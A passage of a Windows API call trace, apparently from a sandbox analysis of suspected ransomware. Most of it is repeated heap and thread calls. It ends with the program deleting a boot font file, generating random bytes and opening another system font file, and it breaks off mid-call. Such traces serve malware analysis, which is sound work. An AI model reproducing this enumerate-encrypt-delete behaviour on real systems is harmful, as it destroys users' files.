[0116.059] GetLastError () returned 0x0 [0116.059] GetCurrentThreadId () returned 0x9b0 [0116.060] GetLastError () returned 0x0 [0116.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.060] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0116.060] GetLastError () returned 0x0 [0116.060] GetLastError () returned 0x0 [0116.060] GetCurrentThreadId () returned 0x9b0 [0116.060] GetLastError () returned 0x0 [0116.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.061] GetCurrentThreadId () returned 0x9b0 [0116.061] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69e8 [0116.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69d8 | out: hHeap=0x2ad0000) returned 1 [0116.061] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.061] GetLastError () returned 0x0 [0116.061] GetLastError () returned 0x0 [0116.061] GetLastError () returned 0x0 [0116.061] GetLastError () returned 0x0 [0116.061] GetCurrentThreadId () returned 0x9b0 [0116.062] GetLastError () returned 0x0 [0116.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.062] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0116.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0116.062] GetLastError () returned 0x0 [0116.065] GetLastError () returned 0x0 [0116.065] GetCurrentThreadId () returned 0x9b0 [0116.065] GetLastError () returned 0x0 [0116.065] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.065] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0116.065] GetLastError () returned 0x0 [0116.065] GetLastError () returned 0x0 [0116.066] GetCurrentThreadId () returned 0x9b0 [0116.066] GetLastError () returned 0x0 [0116.066] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.066] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69d8 [0116.066] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69e8 | out: hHeap=0x2ad0000) returned 1 [0116.066] GetCurrentThreadId () returned 0x9b0 [0116.066] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.066] GetLastError () returned 0x0 [0116.066] GetLastError () returned 0x0 [0116.067] GetLastError () returned 0x0 [0116.067] GetLastError () returned 0x0 [0116.067] GetCurrentThreadId () returned 0x9b0 [0116.067] GetLastError () returned 0x0 [0116.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0116.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0116.067] GetLastError () returned 0x0 [0116.068] GetLastError () returned 0x0 [0116.068] GetCurrentThreadId () returned 0x9b0 [0116.068] GetLastError () returned 0x0 [0116.068] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.069] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0116.069] GetLastError () returned 0x0 [0116.070] GetLastError () returned 0x0 [0116.070] GetCurrentThreadId () returned 0x9b0 [0116.070] GetLastError () returned 0x0 [0116.070] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.071] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69e8 [0116.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69d8 | out: hHeap=0x2ad0000) returned 1 [0116.071] GetCurrentThreadId () returned 0x9b0 [0116.071] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.071] GetLastError () returned 0x0 [0116.071] GetLastError () returned 0x0 [0116.071] GetLastError () returned 0x0 [0116.071] GetLastError () returned 0x0 [0116.072] GetCurrentThreadId () returned 0x9b0 [0116.072] GetLastError () returned 0x0 [0116.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.072] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0116.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0116.072] GetLastError () returned 0x0 [0116.073] GetLastError () returned 0x0 [0116.073] GetCurrentThreadId () returned 0x9b0 [0116.073] GetLastError () returned 0x0 [0116.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.073] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0116.074] GetLastError () returned 0x0 [0116.074] GetLastError () returned 0x0 [0116.074] GetCurrentThreadId () returned 0x9b0 [0116.074] GetLastError () returned 0x0 [0116.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69d8 [0116.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69e8 | out: hHeap=0x2ad0000) returned 1 [0116.074] GetCurrentThreadId () returned 0x9b0 [0116.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.074] GetLastError () returned 0x0 [0116.075] GetLastError () returned 0x0 [0116.075] GetLastError () returned 0x0 [0116.075] GetLastError () returned 0x0 [0116.075] GetCurrentThreadId () returned 0x9b0 [0116.075] GetLastError () returned 0x0 [0116.075] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.075] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0116.075] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0116.075] GetLastError () returned 0x0 [0116.077] GetLastError () returned 0x0 [0116.077] GetCurrentThreadId () returned 0x9b0 [0116.077] GetLastError () returned 0x0 [0116.077] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.077] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0116.078] GetLastError () returned 0x0 [0116.079] GetLastError () returned 0x0 [0116.079] GetCurrentThreadId () returned 0x9b0 [0116.079] GetLastError () returned 0x0 [0116.080] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.080] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69e8 [0116.080] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69d8 | out: hHeap=0x2ad0000) returned 1 [0116.080] GetCurrentThreadId () returned 0x9b0 [0116.080] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.080] GetLastError () returned 0x0 [0116.080] GetLastError () returned 0x0 [0116.080] GetLastError () returned 0x0 [0116.081] GetCurrentThreadId () returned 0x9b0 [0116.082] GetCurrentThreadId () returned 0x9b0 [0116.082] GetCurrentThreadId () returned 0x9b0 [0116.082] GetCurrentThreadId () returned 0x9b0 [0116.082] GetCurrentThreadId () returned 0x9b0 [0116.083] GetCurrentThreadId () returned 0x9b0 [0116.084] GetCurrentThreadId () returned 0x9b0 [0116.084] GetCurrentThreadId () returned 0x9b0 [0116.084] GetCurrentThreadId () returned 0x9b0 [0116.085] GetCurrentThreadId () returned 0x9b0 [0116.086] GetCurrentThreadId () returned 0x9b0 [0116.086] GetCurrentThreadId () returned 0x9b0 [0116.086] GetCurrentThreadId () returned 0x9b0 [0116.088] GetCurrentThreadId () returned 0x9b0 [0116.088] GetCurrentThreadId () returned 0x9b0 [0116.088] GetCurrentThreadId () returned 0x9b0 [0116.088] GetCurrentThreadId () returned 0x9b0 [0116.090] GetCurrentThreadId () returned 0x9b0 [0116.090] GetCurrentThreadId () returned 0x9b0 [0116.090] GetCurrentThreadId () returned 0x9b0 [0116.090] GetCurrentThreadId () returned 0x9b0 [0116.091] GetCurrentThreadId () returned 0x9b0 [0116.162] GetCurrentThreadId () returned 0x9b0 [0116.162] GetCurrentThreadId () returned 0x9b0 [0116.163] GetCurrentThreadId () returned 0x9b0 [0116.164] GetCurrentThreadId () returned 0x9b0 [0116.172] GetCurrentThreadId () returned 0x9b0 [0116.172] GetCurrentThreadId () returned 0x9b0 [0116.173] GetCurrentThreadId () returned 0x9b0 [0116.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0116.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0116.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0116.178] GetCurrentThreadId () returned 0x9b0 [0116.179] GetCurrentThreadId () returned 0x9b0 [0116.180] GetCurrentThreadId () returned 0x9b0 [0116.181] GetCurrentThreadId () returned 0x9b0 [0116.181] GetCurrentThreadId () returned 0x9b0 [0116.181] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0116.181] GetCurrentThreadId () returned 0x9b0 [0116.182] GetCurrentThreadId () returned 0x9b0 [0116.183] GetCurrentThreadId () returned 0x9b0 [0116.185] GetCurrentThreadId () returned 0x9b0 [0116.185] GetCurrentThreadId () returned 0x9b0 [0116.185] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6aa8 [0116.185] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69d8 | out: hHeap=0x2ad0000) returned 1 [0116.185] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.185] GetCurrentThreadId () returned 0x9b0 [0116.186] GetCurrentThreadId () returned 0x9b0 [0116.187] GetCurrentThreadId () returned 0x9b0 [0116.187] GetCurrentThreadId () returned 0x9b0 [0116.187] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6aa8 | out: hHeap=0x2ad0000) returned 1 [0116.187] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.187] GetCurrentThreadId () returned 0x9b0 [0116.189] GetCurrentThreadId () returned 0x9b0 [0116.190] GetCurrentThreadId () returned 0x9b0 [0116.190] GetCurrentThreadId () returned 0x9b0 [0116.190] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.191] GetCurrentThreadId () returned 0x9b0 [0116.192] GetCurrentThreadId () returned 0x9b0 [0116.192] GetCurrentThreadId () returned 0x9b0 [0116.192] GetCurrentThreadId () returned 0x9b0 [0116.192] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.193] GetCurrentThreadId () returned 0x9b0 [0116.194] GetCurrentThreadId () returned 0x9b0 [0116.196] GetCurrentThreadId () returned 0x9b0 [0116.196] GetCurrentThreadId () returned 0x9b0 [0116.196] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.196] GetCurrentThreadId () returned 0x9b0 [0116.197] GetCurrentThreadId () returned 0x9b0 [0116.198] GetCurrentThreadId () returned 0x9b0 [0116.198] GetCurrentThreadId () returned 0x9b0 [0116.198] GetCurrentThreadId () returned 0x9b0 [0116.200] GetCurrentThreadId () returned 0x9b0 [0116.200] GetCurrentThreadId () returned 0x9b0 [0116.200] GetCurrentThreadId () returned 0x9b0 [0116.201] GetCurrentThreadId () returned 0x9b0 [0116.203] GetCurrentThreadId () returned 0x9b0 [0116.203] GetCurrentThreadId () returned 0x9b0 [0116.203] GetCurrentThreadId () returned 0x9b0 [0116.203] GetCurrentThreadId () returned 0x9b0 [0116.205] GetCurrentThreadId () returned 0x9b0 [0116.207] GetCurrentThreadId () returned 0x9b0 [0116.207] GetCurrentThreadId () returned 0x9b0 [0116.207] GetCurrentThreadId () returned 0x9b0 [0116.208] GetCurrentThreadId () returned 0x9b0 [0116.208] GetCurrentThreadId () returned 0x9b0 [0116.209] GetCurrentThreadId () returned 0x9b0 [0116.209] GetCurrentThreadId () returned 0x9b0 [0116.211] GetCurrentThreadId () returned 0x9b0 [0116.211] GetCurrentThreadId () returned 0x9b0 [0116.211] GetCurrentThreadId () returned 0x9b0 [0116.211] GetCurrentThreadId () returned 0x9b0 [0116.214] GetCurrentThreadId () returned 0x9b0 [0116.214] GetCurrentThreadId () returned 0x9b0 [0116.214] GetCurrentThreadId () returned 0x9b0 [0116.214] GetCurrentThreadId () returned 0x9b0 [0116.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0116.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0116.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0116.216] GetCurrentThreadId () returned 0x9b0 [0116.218] GetCurrentThreadId () returned 0x9b0 [0116.218] GetCurrentThreadId () returned 0x9b0 [0116.218] GetCurrentThreadId () returned 0x9b0 [0116.218] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0116.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0116.219] GetCurrentThreadId () returned 0x9b0 [0116.227] GetCurrentThreadId () returned 0x9b0 [0116.228] GetCurrentThreadId () returned 0x9b0 [0116.232] GetCurrentThreadId () returned 0x9b0 [0116.233] GetCurrentThreadId () returned 0x9b0 [0116.233] GetCurrentThreadId () returned 0x9b0 [0116.233] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a58 [0116.233] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69d8 | out: hHeap=0x2ad0000) returned 1 [0116.233] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.233] GetCurrentThreadId () returned 0x9b0 [0116.235] GetCurrentThreadId () returned 0x9b0 [0116.235] GetCurrentThreadId () returned 0x9b0 [0116.235] GetCurrentThreadId () returned 0x9b0 [0116.235] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6ab8 [0116.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a58 | out: hHeap=0x2ad0000) returned 1 [0116.235] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.235] GetCurrentThreadId () returned 0x9b0 [0116.237] GetCurrentThreadId () returned 0x9b0 [0116.237] GetCurrentThreadId () returned 0x9b0 [0116.237] GetCurrentThreadId () returned 0x9b0 [0116.237] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.238] GetCurrentThreadId () returned 0x9b0 [0116.239] GetCurrentThreadId () returned 0x9b0 [0116.239] GetCurrentThreadId () returned 0x9b0 [0116.239] GetCurrentThreadId () returned 0x9b0 [0116.239] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.239] GetCurrentThreadId () returned 0x9b0 [0116.243] GetCurrentThreadId () returned 0x9b0 [0116.244] GetCurrentThreadId () returned 0x9b0 [0116.244] GetCurrentThreadId () returned 0x9b0 [0116.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.244] GetCurrentThreadId () returned 0x9b0 [0116.245] GetCurrentThreadId () returned 0x9b0 [0116.246] GetCurrentThreadId () returned 0x9b0 [0116.246] GetCurrentThreadId () returned 0x9b0 [0116.246] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.246] GetCurrentThreadId () returned 0x9b0 [0116.247] GetCurrentThreadId () returned 0x9b0 [0116.249] GetCurrentThreadId () returned 0x9b0 [0116.249] GetCurrentThreadId () returned 0x9b0 [0116.250] GetCurrentThreadId () returned 0x9b0 [0116.251] GetCurrentThreadId () returned 0x9b0 [0116.251] GetCurrentThreadId () returned 0x9b0 [0116.251] GetCurrentThreadId () returned 0x9b0 [0116.251] GetCurrentThreadId () returned 0x9b0 [0116.253] GetCurrentThreadId () returned 0x9b0 [0116.254] GetCurrentThreadId () returned 0x9b0 [0116.254] GetCurrentThreadId () returned 0x9b0 [0116.255] GetCurrentThreadId () returned 0x9b0 [0116.256] GetCurrentThreadId () returned 0x9b0 [0116.256] GetCurrentThreadId () returned 0x9b0 [0116.256] GetCurrentThreadId () returned 0x9b0 [0116.257] GetCurrentThreadId () returned 0x9b0 [0116.258] GetCurrentThreadId () returned 0x9b0 [0116.260] GetCurrentThreadId () returned 0x9b0 [0116.260] GetCurrentThreadId () returned 0x9b0 [0116.260] GetCurrentThreadId () returned 0x9b0 [0116.261] GetCurrentThreadId () returned 0x9b0 [0116.262] GetCurrentThreadId () returned 0x9b0 [0116.262] GetCurrentThreadId () returned 0x9b0 [0116.262] GetCurrentThreadId () returned 0x9b0 [0116.264] GetCurrentThreadId () returned 0x9b0 [0116.265] GetCurrentThreadId () returned 0x9b0 [0116.265] GetCurrentThreadId () returned 0x9b0 [0116.265] GetCurrentThreadId () returned 0x9b0 [0116.265] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0116.265] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.266] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0116.266] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0116.267] GetCurrentThreadId () returned 0x9b0 [0116.267] GetCurrentThreadId () returned 0x9b0 [0116.267] GetCurrentThreadId () returned 0x9b0 [0116.268] GetCurrentThreadId () returned 0x9b0 [0116.269] GetCurrentThreadId () returned 0x9b0 [0116.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0116.270] GetCurrentThreadId () returned 0x9b0 [0116.271] GetCurrentThreadId () returned 0x9b0 [0116.272] GetCurrentThreadId () returned 0x9b0 [0116.280] GetCurrentThreadId () returned 0x9b0 [0116.280] GetCurrentThreadId () returned 0x9b0 [0116.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a68 [0116.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ac8 | out: hHeap=0x2ad0000) returned 1 [0116.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.281] GetCurrentThreadId () returned 0x9b0 [0116.285] GetCurrentThreadId () returned 0x9b0 [0116.286] GetCurrentThreadId () returned 0x9b0 [0116.286] GetCurrentThreadId () returned 0x9b0 [0116.286] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.286] GetCurrentThreadId () returned 0x9b0 [0116.288] GetCurrentThreadId () returned 0x9b0 [0116.288] GetCurrentThreadId () returned 0x9b0 [0116.288] GetCurrentThreadId () returned 0x9b0 [0116.288] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.288] GetCurrentThreadId () returned 0x9b0 [0116.289] GetCurrentThreadId () returned 0x9b0 [0116.291] GetCurrentThreadId () returned 0x9b0 [0116.291] GetCurrentThreadId () returned 0x9b0 [0116.291] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.292] GetCurrentThreadId () returned 0x9b0 [0116.293] GetCurrentThreadId () returned 0x9b0 [0116.293] GetCurrentThreadId () returned 0x9b0 [0116.293] GetCurrentThreadId () returned 0x9b0 [0116.293] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.294] GetCurrentThreadId () returned 0x9b0 [0116.295] GetCurrentThreadId () returned 0x9b0 [0116.296] GetCurrentThreadId () returned 0x9b0 [0116.296] GetCurrentThreadId () returned 0x9b0 [0116.296] GetCurrentThreadId () returned 0x9b0 [0116.297] GetCurrentThreadId () returned 0x9b0 [0116.297] GetCurrentThreadId () returned 0x9b0 [0116.298] GetCurrentThreadId () returned 0x9b0 [0116.298] GetCurrentThreadId () returned 0x9b0 [0116.299] GetCurrentThreadId () returned 0x9b0 [0116.299] GetCurrentThreadId () returned 0x9b0 [0116.299] GetCurrentThreadId () returned 0x9b0 [0116.300] GetCurrentThreadId () returned 0x9b0 [0116.301] GetCurrentThreadId () returned 0x9b0 [0116.301] GetCurrentThreadId () returned 0x9b0 [0116.301] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x647c) returned 0x35c5908 [0116.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.301] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x6485) returned 0x35c5908 [0116.301] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f69e8 [0116.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69d8 | out: hHeap=0x2ad0000) returned 1 [0116.301] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x6488) returned 0x35cbd98 [0116.301] GetCurrentThreadId () returned 0x9b0 [0116.302] GetCurrentThreadId () returned 0x9b0 [0116.303] GetCurrentThreadId () returned 0x9b0 [0116.303] GetCurrentThreadId () returned 0x9b0 [0116.303] CloseHandle (hObject=0x3ac) returned 1 [0116.303] GetCurrentThreadId () returned 0x9b0 [0116.303] CloseHandle (hObject=0x39c) returned 1 [0116.304] GetCurrentThreadId () returned 0x9b0 [0116.304] DeleteFileA (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0 [0116.304] GetCurrentThreadId () returned 0x9b0 [0116.304] GetCurrentThreadId () returned 0x9b0 [0116.304] GetFullPathNameA (in: lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\Fonts\\cht_boot.ttf", lpFilePart=0x9bada4*="cht_boot.ttf") returned 0x1a [0116.304] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0116.305] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0116.305] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0116.305] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0116.305] GetCurrentThreadId () returned 0x9b0 [0116.305] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea700 [0116.305] GetCurrentThreadId () returned 0x9b0 [0116.305] GetCurrentThreadId () returned 0x9b0 [0116.305] GetCurrentThreadId () returned 0x9b0 [0116.305] GetCurrentThreadId () returned 0x9b0 [0116.305] GetCurrentThreadId () returned 0x9b0 [0116.305] GetCurrentThreadId () returned 0x9b0 [0116.306] GetCurrentThreadId () returned 0x9b0 [0116.306] GetFileAttributesExA (in: lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a)) returned 1 [0116.307] GetCurrentThreadId () returned 0x9b0 [0116.307] GetCurrentThreadId () returned 0x9b0 [0116.307] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664b4c | out: pbBuffer=0x3664b4c) returned 1 [0116.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0116.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0116.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0116.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea6b0 [0116.307] GetCurrentThreadId () returned 0x9b0 [0116.307] GetCurrentThreadId () returned 0x9b0 [0116.307] GetCurrentThreadId () returned 0x9b0 [0116.308] GetCurrentThreadId () returned 0x9b0 [0116.308] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea6b0 | out: hHeap=0x2ad0000) returned 1 [0116.308] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6a88 [0116.308] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0116.308] CreateFileA (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0116.308] GetFileType (hFile=0x39c) returned 0x1 [0116.308] GetFileType (hFile=0x39c) returned 0x1 [0116.308] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0116.309] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0116.309] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0116.309] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0116.309] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0116.309] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0116.309] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0116.309] GetLastError () returned 0x0 [0116.309] GetLastError () returned 0x0 [0116.309] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ac8 | out: hHeap=0x2ad0000) returned 1 [0116.309] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea6b0 | out: hHeap=0x2ad0000) returned 1 [0116.309] GetLastError () returned 0x0 [0116.309] GetLastError () returned 0x0 [0116.310] GetLastError () returned 0x0 [0116.310] GetLastError () returned 0x0 [0116.310] HeapFree (in: hHeap=0x2ad0000, 